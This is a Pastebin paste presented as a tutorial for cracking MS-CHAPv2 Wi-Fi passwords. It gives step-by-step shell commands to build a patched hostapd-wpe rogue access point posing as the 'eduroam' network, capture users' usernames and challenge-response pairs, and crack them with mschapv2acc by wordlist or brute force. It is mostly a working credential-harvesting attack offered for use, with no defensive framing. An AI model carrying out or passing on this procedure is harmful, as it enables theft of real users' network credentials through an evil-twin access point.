Guest User

Untitled

a guest
Sep 19th, 2016
40
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #################################################
  2. #My little tutorial to crack passwords for MS-CHAPv2
  3. ################################################
  4.  
  5. #Compiling and patching hostapd
  6. #Download all needed things
  7. git clone https://github.com/OpenSecurityResearch/hostapd-wpe
  8. wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz
  9. #Extract
  10. tar -zxf hostapd-2.2.tar.gz
  11. cd hostapd-2.2
  12. #Patch hostapd-wpe
  13. patch -p1 < ../hostapd-wpe/hostapd-wpe.patch
  14. cd hostapd/
  15.  
  16. #if running on x64_86 OS you have to enable crosscompile
  17. nano .config
  18. ->uncomment the line
  19. CONFIG_LIBNL32=y
  20.  
  21. #then compile
  22. make
  23. #install
  24. #sudo make install
  25.  
  26. #setup certs
  27. cd ../../hostapd-wpe/certs
  28. sudo ./bootstrap
  29.  
  30. #then just in directory where you want to have hostapd-wpe.conf created
  31. cd ../../hostapd-2.2/hostapd/
  32. sudo ./hostapd-wpe hostapd-wpe.conf
  33.  
  34. #you will need to configure the hostapd-wpe.conf
  35. nano hostapd-wpe.conf
  36.  
  37. interface=wlp8s0mon #change interface to wifi
  38. driver= nl80211 # because wifi
  39. ssid=eduroam
  40. wpa=2 # for WPA2
  41. wpa_pairwise=CCMP
  42.  
  43. #don't forget to switch to monitor mode
  44. sudo ./hostapd-wpe hostapd-wpe.conf # to start hostapd-wpe and create a honeypot
  45.  
  46. copy username, challenge and the response for later.
  47. ###########################
  48. #setting up and running mschapv2aac
  49. ###########################
  50.  
  51. #Downloading and Building
  52. cd ../../
  53. git clone https://github.com/polkaned/mschapv2acc.git
  54. cd mschapv2acc
  55. make
  56.  
  57. #converting data captured with hostapd-wpe
  58. ./wpe2acc <randomname> #creates authfile, you'll enter the username, challenge and response.
  59.  
  60.  
  61. ./mschapv2acc
  62.  
  63.  
  64.  
  65.  
  66. #using mschapv2acc to crack the pass
  67. ./mschapv2acc -w <wordlist> <authfile>
  68.  
  69. Usage: mschapv2acc [Option] file_auth_in
  70.  
  71.  
  72. Option
  73. -x
  74. Enable cryptanalyse mode
  75. -r number
  76. Specify the number maximal of characters, default is 12 (works only with brute force mode)
  77. -s
  78. Enable MD4 with SSE2 (works only with brute force mode)
  79. -i
  80. Enter password on standard input, disable brute force mode
  81. -w
  82. Specify a dictionary file, disable brute force mode
  83. -V
  84. Verbose mode, output each try (so slow)
  85.  
  86. Example:
  87. ./mschapv2acc -x -s file_auth
RAW Paste Data